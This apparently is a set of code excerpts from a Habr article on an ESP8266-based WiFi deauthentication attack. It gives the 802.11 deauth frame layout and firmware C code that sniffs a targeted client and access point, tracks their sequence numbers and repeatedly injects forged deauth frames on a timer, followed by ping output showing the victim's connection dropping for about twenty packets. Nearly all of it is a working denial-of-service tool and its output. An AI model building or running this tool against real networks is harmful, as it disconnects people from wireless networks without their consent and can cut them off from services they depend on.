[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]
void ICACHE_FLASH_ATTR user_init() { uart_init(115200, 115200); os_printf("\n\nSDK version:%s\n", system_get_sdk_version()); // Promiscuous works only with station mode wifi_set_opmode(STATION_MODE); // Set timer for deauth os_timer_disarm(&deauth_timer); os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL); os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1); // Continue to 'sniffer_system_init_done' system_init_done_cb(sniffer_system_init_done); }
void ICACHE_FLASH_ATTR sniffer_system_init_done(void) { // Set up promiscuous callback wifi_set_channel(channel); wifi_promiscuous_enable(0); wifi_set_promiscuous_rx_cb(promisc_cb); wifi_promiscuous_enable(1); }
static void ICACHE_FLASH_ATTR promisc_cb(uint8_t *buf, uint16_t len) { if (len == 12){ struct RxControl *sniffer = (struct RxControl*) buf; } else if (len == 128) { struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf; } else { struct sniffer_buf *sniffer = (struct sniffer_buf*) buf; int i=0; // Check MACs for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return; for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return; // Update sequence number seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22]; } }
uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq) { int i=0; // Type: deauth buf[0] = 0xC0; buf[1] = 0x00; // Duration 0 msec, will be re-written by ESP buf[2] = 0x00; buf[3] = 0x00; // Destination for (i=0; i<6; i++) buf[i+4] = client[i]; // Sender for (i=0; i<6; i++) buf[i+10] = ap[i]; for (i=0; i<6; i++) buf[i+16] = ap[i]; // Seq_n buf[22] = seq % 0xFF; buf[23] = seq / 0xFF; // Deauth reason buf[24] = 1; buf[25] = 0; return 26; } /* Sends deauth packets. */ void deauth(void *arg) { os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10); // Sequence number is increased by 16, see 802.11 uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10); wifi_send_pkt_freedom(packet_buffer, size, 0); }
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data. 64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms 64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms 64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms 64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms 64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms 64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms 64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms 64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms 64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms 64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms 64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms 64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms 64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms 64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms 64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms 64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms 64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms 64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms no answer yet for icmp_seq=19 no answer yet for icmp_seq=20 no answer yet for icmp_seq=21 no answer yet for icmp_seq=22 no answer yet for icmp_seq=23 no answer yet for icmp_seq=24 no answer yet for icmp_seq=25 no answer yet for icmp_seq=26 no answer yet for icmp_seq=27 no answer yet for icmp_seq=28 no answer yet for icmp_seq=29 no answer yet for icmp_seq=30 no answer yet for icmp_seq=31 no answer yet for icmp_seq=32 no answer yet for icmp_seq=33 no answer yet for icmp_seq=34 no answer yet for icmp_seq=35 no answer yet for icmp_seq=36 no answer yet for icmp_seq=37 no answer yet for icmp_seq=38 64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms 64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms 64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms 64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms 64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms 64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms 64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms
Source: https://habr.com/ru/post/397741/